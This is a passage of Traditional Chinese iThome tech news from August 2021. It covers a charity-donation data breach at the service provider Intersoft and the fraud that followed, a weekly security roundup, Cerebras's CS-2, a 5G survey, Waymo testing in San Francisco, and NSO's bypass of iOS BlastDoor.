<p>中華電信相當積極投入開放網路，該公司在2018年聯合中磊、智邦、廣達、正文、明泰、宏達電等業者成立5G領航隊，以5G實驗網、場域實測，與國內業者合作測試5G小型基地臺、MEC等，隨著開放網路技術愈來愈成熟，去年加入國際O-RAN組織。與耀登合作，在國發會經費補助下，提供業者驗測服務，將帶動國內業者加速開發開放網路設備，進攻5G行動基礎設備市場。</p> <p>由於虛擬化、軟體定義技術愈來愈成熟，帶動5G網路基礎建設的開放網路技術風潮，以往電信業者的網通設備多為大型電信設備商綁定，未來採用白牌伺服器、虛擬化、軟體定義等技術，讓電信商有能力逐漸擺脫大型電信設備商的限制，龐大的效益及商機吸引電信商、網通、伺服器代工業者投入，例如PC、伺服器代工業者廣達、仁寶等皆投入5G開放網路產品研發。</p> </div></div></div>
2021/8/25 17:59作者蘇文彬https://www.ithome.com.tw/news/146383
國內爆發愛心協會大規模捐款個資外洩，影響機構恐破200間，關鍵資訊服務商網軟遭駭仍在調查中
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>最近，臺灣爆發多起愛心捐款協會因個資外洩引發詐騙案件，刑事警察局指出，至8月16日止，已有至少35個愛心協會，因委託同一資訊服務商遭遇此事，受害規模比月初更擴大，而這家也是苦主之一的關鍵廠商，就是負責提供捐款系統公司的網軟科技（intersoft）。</p> <p>面對這次的網路攻擊事件，該公司坦言，已委請資安業者協助，清查並強化資安，執法機關也在持續調查，同時他們也持續通知客戶，也就是通知相關愛心協會，將遭駭客攻擊一事告知其客戶，同時，請這些愛心機構向捐款民眾示警，呼籲大家要小心不斷翻新的ATM相關詐騙話術，並注意信用卡盜刷問題。</p> <h3><strong>警方調查出現大量冒名多個愛心協會的詐騙，對方已掌握詳細捐款資訊</strong></h3> <p>在8月5日，刑事警察局發出詐騙活動的預警，引發全國關注。因為在7月26日到8月1日這一週內，165反詐騙專線統計受理的解除分期付款詐騙案中，有27件的通報對象，竟然不是長年名列其中的電商平臺，而是民眾做愛心的慈善捐款協會遭到冒名，警方並指出，詐騙方掌握了捐款人姓名、電話、捐款金額等資料，藉此取信被害人。</p> <p>當時遭到冒名的慈善機構有6家，刑事警察局股長洪國倫表示，這些愛心協會都委託同一資訊服務商，因此，他們的研發科，以及相關的系統廠商仍在調查與釐清相關資訊。而到了8月16日，我們聯繫警方，請他們提供最新統計數據，此時，冒名愛心協會的詐騙已經增至35家以上。</p> <p>這樣的大規模愛心協會資料外洩狀況，我們在網路上也看到相關討論。例如，有網友在社群網站Plurk當中指出，相關機構的資訊服務商是網軟，他們有200多家基金會客戶，因此，整體的資料外洩情形可能比之前曝光的更嚴重；而我們也看了很多機構的社群網站，也發現網軟的相關消息，例如，「迦南身心障礙養護院」的臉書粉絲專頁上，張貼了來自網軟公司的資安事件通知。當我們查詢網軟這家公司時，恰巧，他們在官方網站上也有公布刑事警察局的防詐騙宣導。因此，我們聯繫網軟，以確認此資安事件的狀況，也了解他們在這起事件面臨的問題，以及造成的影響。</p> <h3><strong>影響家數尚未有確切資訊，近期網軟向這些愛心協會通知其資安事件因應措施</strong></h3> <p>其實，網軟是提供非營利組織（NPO）資訊服務的業者，包含捐款管理系統、線上金流整合、會員與志工管理系統等。</p> <p>而網軟發生的這起資料外洩事件，的確與上述許多慈善機構捐款個資外洩有極大關連。但是，我們在網軟官方網站上，並未看到他們發布伺服器遭駭或資料外洩相關事件的公告，因此難以得知，到底有多少家愛心協會受影響？以及是否有調查結果？</p> <p>對於近期多家愛心協會遭遇資料外洩，以及網軟向其客戶通知資安事件一事，經我們向網軟詢問後，他們表示，已委請資安廠商協助清查網路攻擊，並檢視現有的基礎架構，強化網路安全與資料安全，法務部調查局也提供協助，同時他們也配合主管機關調查。網軟表示，將等調查結果出爐，再一併說明。換言之，他們目前並無法提供確切資訊。</p> <p>因此，這次資安事件的入侵方式也還沒有具體答案，不確定是網路攻擊者直接入侵網軟，或是入侵某一基金會後再入侵捐款系統。</p> <p>特別的是，由於我們在網路上已看到，兩封由網軟寄送給愛心協會的通知郵件內容，因此我們也向網軟確認其真實性。網軟表示，這些內容確實都是他們寄給愛心協會的通知信，告知已遭駭客攻擊與相關因應。</p> <p>在網軟對愛心協會的通知郵件中，顯示該公司在8月初已告知客戶（相關愛心協會）網軟捐款系統遭駭客攻擊，並提到已封鎖可疑IP位址，限制具風險性的功能。</p> <p>而另一封網軟的通知信中，則在8月中旬說明了這次資安事件的應變現況。</p> <p>例如，除了尋求資安業者提供顧問服務，他們也委請資策會資安科技研究所協助主機相關設定，並建置即時監控系統，偵測網路異常與告警機制；並提到該公司已強化捐款系統的用戶帳號登入安全。包括採取限定IP位址登入，並增加圖形認證與雙因素驗證，以避免外部人員竊取帳號密碼入侵。此外，網軟也提及將持續進行機敏資料加密。</p> <p>而網軟也向我們說明，過去有些用戶可能設定長度不足又簡單的弱密碼，因此他們現在也提醒用戶，要注意密碼設定問題，而網軟也在系統上新增了雙因素驗證機制，讓用戶可搭配簡訊OTP來驗證，強化系統登入安全。</p> <p>從上述這些資安強化內容來看，網軟系統在基礎資安防護上，似乎過去仍有一些不足之處，例如系統登入相當缺乏安全防護機制。儘管該業者主要服務的對象是非營利組織，但攻擊者顯然並未因此放過他們，而這樣的資安事件，不僅是對對於其他慈善組織，以及這類型的資訊服務商，都是一個警惕，也突顯任何使用資訊與IT技術的各類型企業與組織，都需要同時考量到資安。</p> <p>另外，由於網軟至今並未對外公告發生資安事件，因此這次資安事件的影響範圍，仍令外界感到憂心。是否只有捐款系統發生資料外洩情況？畢竟，我們從該公司網站公開的案例，可以看到他們的客戶，不只是多個愛心協會，像是在線上金流整合服務中，屏東縣政府也是其客戶，因此，是否各產品服務的所有客戶，都受此次資安事件影響，遭遇資料外洩情形，勢必也都要有所清查。</p> <p><a href="https://s4.itho.me/sites/default/files/images/（圖5）網軟資料外洩.jpg"><img alt="" src="https://s4.itho.me/sites/default/files/images/%EF%BC%88%E5%9C%965%EF%BC%89%E7%B6%B2%E8%BB%9F%E8%B3%87%E6%96%99%E5%A4%96%E6%B4%A9.jpg" style="width: 600px;" /></a></p> <blockquote><p>在網軟官方網站上，已在8月3日發布刑事警察局的反詐騙宣導，但至今還沒有對外公布遭駭客攻擊與資料外洩的資安事件。</p> </blockquote> <h3><a href="https://s4.itho.me/sites/default/files/images/（圖10）網軟資料外洩.jpg"><img alt="" src="https://s4.itho.me/sites/default/files/images/%EF%BC%88%E5%9C%9610%EF%BC%89%E7%B6%B2%E8%BB%9F%E8%B3%87%E6%96%99%E5%A4%96%E6%B4%A9.jpg" style="width: 600px;" /></a></h3> <p><a href="https://s4.itho.me/sites/default/files/images/（圖9）網軟資料外洩.jpg"><img alt="" src="https://s4.itho.me/sites/default/files/images/%EF%BC%88%E5%9C%969%EF%BC%89%E7%B6%B2%E8%BB%9F%E8%B3%87%E6%96%99%E5%A4%96%E6%B4%A9.jpg" style="width: 600px;" /></a></p> <h3><a href="https://s4.itho.me/sites/default/files/images/（圖6）網軟資料外洩.jpg"><img alt="" src="https://s4.itho.me/sites/default/files/images/%EF%BC%88%E5%9C%966%EF%BC%89%E7%B6%B2%E8%BB%9F%E8%B3%87%E6%96%99%E5%A4%96%E6%B4%A9.jpg" style="width: 600px;" /></a></h3> <h3><a href="https://s4.itho.me/sites/default/files/images/（圖8）網軟資料外洩.jpg"><img alt="" src="https://s4.itho.me/sites/default/files/images/%EF%BC%88%E5%9C%968%EF%BC%89%E7%B6%B2%E8%BB%9F%E8%B3%87%E6%96%99%E5%A4%96%E6%B4%A9.jpg" style="width: 600px;" /></a></h3> <blockquote><p>近期已有許多愛心機構配合警方發布反詐騙宣導，少數機構則說明是社福組織使用的捐款系統廠商遭駭，而在迦南身心障礙養護院的臉書粉絲專頁上，也傳達了他們接獲網軟公司的資安事件通知，當中指出要他們提醒捐款人小心詐騙，並說明該公司現有的資安事件應變措施。</p> </blockquote> <h3><strong>對於相關愛心協會的捐款民眾而言，當心假冒其名義的詐騙，並注意信用卡盜刷風險</strong></h3> <p>另一方面，為了因應捐款資料外洩可能衍生的風險，包括ATM相關詐騙與信用卡盜刷，網軟也向相關愛心協會發布通知，請他們務必通知捐款人注意。</p> <p>對於使用信用卡捐款的民眾，需注意盜刷風險。雖然海外盜刷方面其實收單銀行自行就可能偵測到並阻擋，但民眾自身還是要留意不明刷卡記錄，一旦發現，應儘速向銀行反應，通常待銀行查證屬實後，消費者無須負擔被盜刷的費用。網軟指出，銀行端會幫助留意盜刷之外，但從目前詐騙現況來看，最不容易被追回詐騙款項的管道，還是ATM操作，還有臨櫃匯款或網路銀行轉帳。因此他們也呼籲相關愛心協會需儘速向捐款人通知，而網軟也會協助機構發送防詐騙簡訊與電子郵件。</p> <p>還要注意的是，詐騙集團會不斷翻新詐騙話術，也會改趁民眾無法確認的時間來詐騙。例如，網軟表示，近期詐騙集團假冒愛心協會客服人員，就開始利用愛心協會遭駭的消息，再向捐款人騙稱需核對個資與信用卡資料，進而騙取相關資訊；另外，近期國內媒體揭露鎮瀾兒童家園均款人遭詐騙，也運用新的手法：詐騙集團利用協會下班時間，趁著晚上打給捐款人。</p> <p>對於各愛心協會的因應情形，網軟也提到相關現況。基本上，大多數協會都很積極通知捐款人，因為這些協會可能已經接獲相當多起民眾詢問。不過他們提醒，詐騙集團可能一波一波發動詐騙，因此要持續提醒民眾。</p> <p>但也有愛心協會仍害怕向民眾宣導，因為這樣可能讓民眾變得不敢捐款。然而，捐款個資外洩情形已經發生，坦然面對更重要。畢竟，已有受害機構工作人員表示，許多捐款民眾通報接到冒用機構名義來電的詐騙，且對方能夠說出捐款日期、捐款者姓名或名義，以及捐款方式等。若捐款民眾不知道狀況，帶來的衝擊與影響其實是更大。</p> <p><a href="https://s4.itho.me/sites/default/files/images/（圖1）網軟資料外洩(1).jpg"><img alt="" src="https://s4.itho.me/sites/default/files/images/%EF%BC%88%E5%9C%961%EF%BC%89%E7%B6%B2%E8%BB%9F%E8%B3%87%E6%96%99%E5%A4%96%E6%B4%A9(1).jpg" style="width: 600px;" /></a></p> <p><a href="https://s4.itho.me/sites/default/files/images/（圖2）網軟資料外洩.jpg"><img alt="" src="https://s4.itho.me/sites/default/files/images/%EF%BC%88%E5%9C%962%EF%BC%89%E7%B6%B2%E8%BB%9F%E8%B3%87%E6%96%99%E5%A4%96%E6%B4%A9.jpg" style="width: 600px;" /></a></p> <blockquote><p>在8月初，刑事警察局發出詐騙活動的預警，引發高度關注，因為165反詐騙專線受理的解除分期付款詐騙案中，有27件的通報對象竟然是民眾做愛心的慈善捐款協會遭到冒名，警方並指出，詐騙方掌握了捐款人姓名、電話、捐款金額等資料，<span style="font-family: Georgia, Times, "Times New Roman", serif; font-style: italic;">藉此取信被害人。</span>最初民眾通報的對象，包括「台灣樂作創益協會」、「中華育幼機構兒童關懷協會」、「弘化同心共濟會」、「臺灣防盲基金會」、「中華民國兒童癌症基金會」，以及「愛盲基金會」等。接下來，月初出現多起通報的還有「育成社會福利基金會」、「第一社會福利基金會」、「沐風關懷協會」、「微客公益行動協會」與「導盲犬協會」，到了8月中旬（至16日止），警方統計，已經多達35家假冒這類的愛心慈善協會的詐騙，當時接獲超過120件民眾報案，財損更是超過1600萬元。後續，國內媒體報導相關詐騙案的還有，假冒「<a href="https://www.chinatimes.com/realtimenews/20210821002777-260402?chdtv">大甲鎮瀾兒童家園</a>」、「<a href="https://www.cna.com.tw/news/asoc/202108210095.aspx">花蓮黎明教養院</a>」、「<a href="https://youtu.be/zgCOqceawX0?t=36">迦南身心障礙養護院</a>」等。</p> </blockquote> </div></div></div>
2021/8/25 14:31作者羅正漢https://www.ithome.com.tw/news/146376
美國新創業者Cerebras Systems發表全球首個大腦等級的AI系統
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>在2016年成立，專注於建置AI與深度學習電腦系統的Cerebras Systems，於24日發表了<a href="https://cerebras.net/blog/announcing-the-cerebras-architecture-for-extreme-scale-ai/" target="_blank">號稱是全球第一個大腦等級的AI解決方案</a>，藉由一個冰箱大小的CS-2系統，來支援超過120兆個參數的模型，勝過了人腦中所存在的100兆個突觸。</p> <p>Cerebras指出，人腦約含有100兆個突觸，而過去最大的AI硬體叢集大概只占人腦的1%，相當於1兆個突觸，而在AI系統上則稱為參數，由於它僅等於人腦的一小部分，這些由繪圖處理器組成的叢集除了要占用數英畝的空間與數兆瓦的功率之外，也必須由專門的團隊來操作。</p> <p>Cerebras所建置的CS-2系統採用了4項創新技術，於小空間創造了與人腦相當的AI能力，這些技術分別是軟體執行架構Cerebras Weight Streaming、記憶體擴張技術Cerebras MemoryX、高效能互連構造Cerebras SwarmX，以及動態的稀疏收集技術Selectable Sparsity。</p> <p>其中，Weight Streaming可將模型參數存放在晶片外，卻可提供像是位於晶片的同樣訓練及推理效能。此一新的執行模型拆解了運算與參數的儲存，讓研究人員能夠彈性地擴展規模與速度，也消除了大叢集可能導致的延遲及記憶體寬頻的問題，還讓使用者能夠在不需變更軟體的狀況下，使用1到192個CS-2。</p> <p>MemoryX則是讓CS-2可支援具備120兆個參數模型的基礎，SwarmX允許Cerebras可連結192個CS-2中的1.63億個AI最佳化核心，藉以訓練單一神經網路，Selectable Sparsity則是用來權衡模型中的稀疏程度，以減少所需的浮點運算效能及解決時間。</p> <p>Cerebras指出，結合上述技術將能輕鬆地解鎖大腦等級的神經網路，並將任務分派到基於AI最佳化核心所組成的叢集上。</p> <p>美國阿貢國家實驗室（Argonne National Laboratory）副主任Rick Stevens表示，前幾年的研究顯示，對於自然語言處理（NLP）模型來說，洞察力與參數成正比，參數愈多，結果便愈好，Cerebras的創新讓參數增加了100倍，將有改變整個產業的潛力。</p> <p>吸引外界注意的還有CS-2系統所採用的WSE-2晶片，它是一個 46,225平方公釐的矽晶片，只比9.7吋的iPad還要大一些，內建2.6兆個電晶體，85萬個AI最佳化核心，40Gb記憶體，20 PB/s記憶體頻寬，以及220 Pb/s的互連頻寬，採用台積電的7奈米製程技術，它是全球最大的電腦晶片，也是地球上最獨特的半導體裝置之一。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/0825-Cerebras%20WSE-2.png" style="width: 600px;" /></p> <p><span style="color:#696969;">圖片來源_Cerebras</span></p> </div></div></div>
2021/8/25 16:30作者陳曉莉https://www.ithome.com.tw/news/146379
資安一周第160期：殭屍網路發動大規模DDoS攻擊。駭客以百萬美元贖金分紅利誘，發動勒索軟體攻擊
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <h3><strong style="vertical-align: top; color: rgb(51, 153, 255);">8/19-8/25必看資安新聞</strong></h3> <h3> </h3> <h3><span style="vertical-align: top; color: rgb(178, 34, 34);"><strong style="vertical-align: top;">＃DDoS攻擊＃殭屍網路</strong></span></h3> <h2><strong style="vertical-align: top;">殭屍網路發動大規模DDoS攻擊，每秒發出逾1,700萬次HTTP請求</strong></h2> <p>內容遞送網路（CDN）暨資安服務業者Cloudflare表示，他們近期攔阻了一起每秒發出1,720萬次HTTP請求的DDoS攻擊，鎖定金融產業的客戶而來，該公司指出，這樣的攻擊規模，約是過往規模最大事故的3倍。</p> <p>針對攻擊流量的來源，Cloudflare認為是由殭屍網路發動，當中運用的殭屍電腦（Bot）總數超過2萬個，分別來自全世界125個國家。這起攻擊中，殭屍網路機器人在大約30秒之中，總共發出了3.3億次請求，最高峰達到每秒1,720萬次。<strong><a href="https://www.ithome.com.tw/news/146339">詳全文</a></strong></p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/160-1-ddos-http-requests.png" style="width: 400px; height: 201px;" /></p> <p><span style="color:#808080;">圖片來源：Cloudflare</span></p> <p> </p> <h3><span style="vertical-align: top; color: rgb(178, 34, 34);"><strong style="vertical-align: top;">＃勒索軟體攻擊＃內部威脅</strong></span></h3> <h2><strong style="vertical-align: top;">駭客以百萬美元贖金分紅利誘員工，意圖在企業內部植入勒索軟體</strong></h2> <p>郵件安全公司Abnormal Security於8月12日，攔截一批寄送給該公司用戶的可疑電子郵件，寄件者宣稱是DemonWare勒索軟體相關人士，要求收信人參與他們的攻擊計畫，在公司內部植入勒索軟體，假若勒索成功，收信人將能得到100萬美元的高額報酬，寄出這些郵件的人士也留下了電子郵件信箱與Telegram帳號，讓有意參與者與他們聯繫。<strong><a href="https://www.ithome.com.tw/news/146295">詳全文</a></strong></p> <p> </p> <h3><strong style="color: rgb(178, 34, 34); vertical-align: top;">＃加密貨幣</strong></h3> <h2><strong style="vertical-align: top;">日本加密貨幣交易所Liquid驚傳遭駭，駭客偷走近上億美元加密貨幣</strong></h2> <p>日本加密貨幣交易所Liqiud於8月19日發出公告，指出他們大約於新加坡時間（SGT）7時50分，發現系統遭到入侵，攻擊者染指Liquid代管的熱錢包，並偷走了數量可觀的以太坊（Ethereum）、比特幣（Bitcoin），以及瑞波幣（Ripple）等多種加密貨幣。Liquid表示，他們正緊急將資產移往冷錢包，並且調查攻擊發生的原因。同時，Liquid亦暫停存取款服務。</p> <p>後來Liquid經過清查表示，本次事故共有9,135萬美元的加密遭竊，總計有69種加密貨幣資產遭到侵占，被轉到其他交易所或是去中心化金融平臺。<strong><a href="https://www.ithome.com.tw/news/146310">詳全文</a></strong></p> <p> </p> <h3><span style="vertical-align: top; color: rgb(178, 34, 34);"><strong style="vertical-align: top;">＃勒索軟體攻擊＃漏洞攻擊＃網頁瀏覽器</strong></span></h3> <h2><strong style="vertical-align: top;">Google、微軟緊急修補瀏覽器高風險漏洞</strong></h2> <p>德國網路安全應變中心於8月20日，針對Google Chrome及微軟Edge瀏覽器提出警告，指出這些瀏覽器存在6個高度風險的漏洞，而且波及Windows、macOS，以及Linux等作業系統的用戶。</p> <p>兩家廠商獲報後，皆陸續修補上述漏洞。Google於8月16日針對Windows用戶，發布92.0.4515.159版Chrome，並表明接下來即將推送相關修補給macOS與Linux用戶；微軟則是於8月20日，推出Edge 92.0.902.78版。<strong><a href="https://www.ithome.com.tw/news/146337">詳全文</a></strong></p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/160-2-Chrome-Edge.png" style="width: 400px; height: 228px;" /></p> <p><span style="color:#808080;">圖片來源：德國網路安全應變中心</span></p> <p> </p> <h3><strong style="color: rgb(178, 34, 34); vertical-align: top;">＃勒索軟體攻擊</strong></h3> <h2><strong style="vertical-align: top;">針對勒索軟體Diavol與製作TrickBot的駭客組織的關連，研究人員找到更多線索</strong></h2> <p>資安業者Fortinet在7月初揭露名為的Diavol勒索軟體，並基於與Conti有許多共通的特性，認為可能是出自製作Trickbot殭屍病毒的駭客「Wizard Spider」之手。對於這個勒索軟體的研究，最近出現了新的進展：IBM X-Force威脅情報研究團隊指出，他們找到了Diavol的早期開發版本並進行研究，根據程式碼的編排方式來判斷，這款勒索軟體應該就是來自Wizard Spider。<strong><a href="https://www.ithome.com.tw/news/146280">詳全文</a></strong></p> <p> </p> <h3><span style="vertical-align: top; color: rgb(178, 34, 34);"><strong style="vertical-align: top;">＃殭屍網路＃物聯網資安</strong></span></h3> <h2><strong style="vertical-align: top;">殭屍網路Mozi鎖定Netgear、華為、中興網路閘道發動攻擊</strong></h2> <p>微軟揭露新一波殭屍網路Mozi的攻擊，研究人員發現，近期這款殭屍網路病毒針對Netgear、華為、中興（ZTE）等廠牌的網路閘道設備，加入了能夠持續運作的能力。</p> <p>對於這些暴露於上述風險的路由器和網路閘道，微軟建議管理者要使用強密碼，以及安裝最新的修補程式，來防範Mozi的攻擊。<strong><a href="https://www.ithome.com.tw/news/146349">詳全文</a></strong></p> <p> </p> <h3><span style="vertical-align: top; color: rgb(178, 34, 34);"><strong style="vertical-align: top;">＃金融木馬＃CAPTCHA</strong></span></h3> <h2><strong style="vertical-align: top;">銀行木馬Gozi以冒牌CAPTCHA為幌子，繞過瀏覽器防護機制入侵電腦</strong></h2> <p>為了繞過瀏覽器的安全防護機制，攻擊者竟以假的CAPTCHA圖文驗證機制，透過引誘使用者輸入特定的按鍵，其背後目的卻是下載惡意程式。</p> <p>根據Bleeping Computer的報導，安全研究團隊MalwareHunterTeam發現新的散布銀行木馬Gozi（或稱Ursnif）手法，攻擊者在網路流傳影片，一旦使用者想要觀看，這個影片就會要求依序輸入特定按鍵，來驗證是否為人類，但實際上，這些按鍵是讓已於背景下載完成的Gozi，留存在電腦的指令。<strong><a href="https://www.ithome.com.tw/news/146276">詳全文</a></strong></p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/160-3-fake-captcha.png" style="width: 400px; height: 295px;" /></p> <p><span style="color: rgb(128, 128, 128);">圖片來源：Bleeping Computer</span></p> <p> </p> <h3><span style="vertical-align: top; color: rgb(178, 34, 34);"><strong style="vertical-align: top;">＃勒索軟體攻擊＃資料外洩＃資安險</strong></span></h3> <h2><strong style="vertical-align: top;">勒索軟體Conti在攻擊前會先偵察目標組織的保險合約</strong></h2> <p>威脅情報業者Advanced Intelligence（AdvIntel）在近期的一起攻擊事故裡發現，使用Conti勒索軟體的駭客，在攻擊目標的網路植入勒索軟體之前，先上傳了名為Rclone的開源資料備份工具，複製並竊取受害組織的保險合約資料，目的與他們打算向該組織索討的贖金金額有關。<strong><a href="https://www.ithome.com.tw/news/146275">詳全文</a></strong></p> <p> </p> <h3><span style="vertical-align: top; color: rgb(178, 34, 34);"><strong style="vertical-align: top;">＃物聯網資安＃漏洞攻擊</strong></span></h3> <h2><strong>物聯智慧Kalay平臺含有重大漏洞，將允許駭客自遠端存取連網裝置</strong></h2> <p>美國網路安全暨基礎架構安全署（CISA）與資安業者FireEye聯手，於8月17日提出警告，臺灣IoT平臺業者物聯智慧（ThroughTek）所打造的Kalay P2P SDK，含有重大漏洞CVE-2021-28372，攻擊者一旦濫用，就能自遠端執行任意程式或存取機密資訊，物聯智慧已修補該漏洞，並呼籲用戶儘快更新。<a href="https://www.ithome.com.tw/news/146258"><strong>詳全文</strong></a></p> <p> </p> <h3><span style="vertical-align: top; color: rgb(178, 34, 34);"><strong style="vertical-align: top;">＃勒索軟體攻擊</strong></span></h3> <h2><strong style="vertical-align: top;">知名連鎖餐飲業者鬍鬚張遭勒索軟體攻擊</strong></h2> <p>鬍鬚張先後在6月21日、7月2日遭遇2起勒索軟體攻擊，並於7月19日發布公告，並說明資料外洩情形，通知民眾個資外洩可能風險，並說明已經向法務部調查局報案與強化資安。</p> <p>由於許多會員僅提供行動電話聯繫方式，該公司再度於8月12日以簡訊通知會員，告知此次資安事件的調查與因應措施，提醒民眾變更密碼，並且要小心假冒鬍鬚張客服人員的詐騙。<strong><a href="https://www.ithome.com.tw/news/146292">詳全文</a></strong></p> <p> </p> <p> </p> <h2><span style="vertical-align: top; color: rgb(51, 153, 255);"><strong style="vertical-align: top;">更多資安動態</strong></span></h2> <h3>●<a href="https://www.ithome.com.tw/news/146260">近四成企業於12個月內遭遇勒索軟體攻擊事故</a><br /> ●<a href="https://www.ithome.com.tw/news/146297">美國人口統計局因資安事故暴露IT管控疏失</a><br /> ●<a href="https://www.ithome.com.tw/news/146273">T-Mobile證實遭駭客入侵，近5千萬用戶資料外洩</a></h3> </div></div></div>
2021/8/25 16:41作者周峻佑https://www.ithome.com.tw/news/146380
美國5G服務調查：T-Mobile明顯勝出
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>科技雜誌PCMag已經連續12年針對美國的行動網路展開調查，此一調查在行動網路的世代轉移上更形重要，雖然美國前三大行動業者早就開始部署5G服務，但<a href="https://www.ithome.com.tw/news/139907" target="_blank">去年的調查顯示5G與4G的速度差不多</a>，而在經歷一年的發展之後，<a href="https://www.pcmag.com/news/fastest-mobile-networks-2021" target="_blank">PCMag認為</a>，今年T-Mobile的5G服務已堪稱為全美之冠。</p> <p>這次PCMag派遣了司機，調查美國30個主要都會區與6個鄉村地區的行動網路服務，以查看這些地區三大電信業者的5G服務覆蓋率及速率，發現T-Mobile在當中24個地區居冠，AT&T在8個地區領先，Verizon只贏了兩個地區，剩下的兩個地區則三者不分上下。</p> <p>整體而言，T-Mobile服務的平均下載速率為每秒162.3Mb，上傳速率為每秒28.1Mb，AT&T的平均下載/上傳速率則是98.2Mbps與21.1Mbps，Verizon為93.7 Mbps及21.5 Mbps。</p> <p>PCMag分析，今年T-Mobile的獲勝有跡可循，該公司所推出的中頻段5G服務覆蓋了全美1.65億名民眾，而且能夠穩定提供介於150Mbps至500Mbps的下載速率，光是這點就大勝AT&T與Verizon。</p> <p>不過，倘若身為T-Mobile客戶，卻未能享受這樣的速度，可能是因為消費者持有的是4G手機，而且身處鄉村地區，這時PCMag便會建議消費者改用在4G網路上居冠的AT&T服務。</p> <p>其實Verizon的5G速度更快，其最高的5G下載速率為2216.7 Mbps，超過T-Mobile的1134.4 Mbps與AT&T的1090.9 Mbps，只不過Verizon的5G覆蓋率在這一年來沒有太大的長進，只從去年的2.82%，微幅增加到今年的3.27%。</p> <p>PCMag建議，身處都會區的T-Mobile用戶應該要升級到5G手機，而AT&T或Verizon的用戶則不必急著升級。</p> </div></div></div>
2021/8/25 14:31作者陳曉莉https://www.ithome.com.tw/news/146375
Waymo在舊金山測試自駕車載客服務
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://blog.waymo.com/2021/08/welcoming-our-first-riders-in-san.html" target="_blank">Alphabet的自駕車子公司Waymo本周宣布</a>，在舊金山市區提供初步的自駕車載客服務，邀請當地居民參加測試。</p> <p>Waymo上周開始在舊金山提供少數人的自駕車載客服務，本周正式宣布Waymo One Trusted Tester方案擴大開放給舊金山民眾申請加入。在這項測試方案下，參加的「受信任的測試員」都必須簽訂保密協定，測試Waymo Jaguar I-Place 休旅車改造而成的自駕車，前往民眾指定的舊金山市區內任何地點。為了安全，車上還是會配備一名隨車安全人員。不過Waymo沒有說明參加測試自駕車會有幾臺。</p> <p>這是Waymo測試自駕車服務的第二座城市。<a href="https://www.ithome.com.tw/news/113700" target="_blank">2017年Waymo在鳯凰城開始測試自駕車載客服務</a>。Google表示，截至2020年10月已經累積數萬次的載送服務。鳯凰城目前的自駕車隊約有300臺。去年10月Waymo於鳯凰城的自駕車服務，甚至進展到<a href="https://www.ithome.com.tw/news/140796" target="_blank">沒有隨車安全駕駛員的全自駕服務</a>。</p> <p><a href="https://www.theverge.com/2021/8/24/22639226/waymo-san-francisco-rides-self-driving-service" target="_blank">媒體指出</a>，和鳯凰城相比，舊金山對自駕車挑戰更大，因為該區氣候多雨且多濃霧，而且許多路是蜿蜒的山坡路段。</p> <p>舊金山民眾可以下載<a href="https://waymo.com/waymo-one/?loc=sf" target="_blank">Waymo OneApp</a>申請加入測試。Waymo表示，未來會再逐步擴大測試載客量。</p> </div></div></div>
2021/8/25 13:52作者林妍溱https://www.ithome.com.tw/news/146373
NSO繞過蘋果於iOS 14新增的BlastDoor沙箱保護機制以植入Pegasus
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://citizenlab.ca/2021/08/bahrain-hacks-activists-with-nso-group-zero-click-iphone-exploits/" target="_blank">加拿大多倫多大學的公民實驗室（Citizen Lab）本周揭露</a>，該實驗室在9名中東國家巴林的活動份子手機上，發現了由以色列駭客公司NSO Group所開發的Pegasus間諜程式，且研究顯示NSO已成功繞過蘋果甫於iOS 14新增的BlastDoor沙箱保護機制，呼應了<a href="https://www.ithome.com.tw/news/145754" target="_blank">Pegasus專案</a>的發現。</p> <p>公民實驗室在去年12月指出，有36名卡達半島電視臺（Al Jazeera）員工的iPhone，遭到駭客植入Pegasus間諜程式，且研究顯示當時的Pegasus仍無法感染iOS 14裝置，這促使Google Project Zero團隊針對iOS展開研究，指出蘋果於該作業系統上新增了3項安全機制，其中的BlastDoor可說是iMessages的專屬沙箱，大幅提高了出現記憶體毀損漏洞的攻擊門檻。</p> <p>然而，公民實驗室最近的研究則發現，NSO已打造了可繞過BlastDoor的攻擊程式Forcedentry，可攻陷iOS 14.4與iOS 14.6。</p> <p>該實驗室亦指出，Forcedentry與國際特赦組織（Amnesty International）安全實驗室（Security Lab）在<a href="https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/" target="_blank">今年7月於Pegasus專案中揭露的Megalodon</a>，是同一支攻擊程式。</p> <p>事實上，在Pegasus專案報告出爐後，<a href="https://www.ithome.com.tw/news/145763" target="_blank">蘋果已緊急修補了各個作業系統及Safari，釋出了iOS 14.7</a>，只是蘋果並未提及該修補行動是否與Pegasus專案有關。</p> <p>當公民實驗室披露NSO已繞過BlastDoor安全機制之後，<a 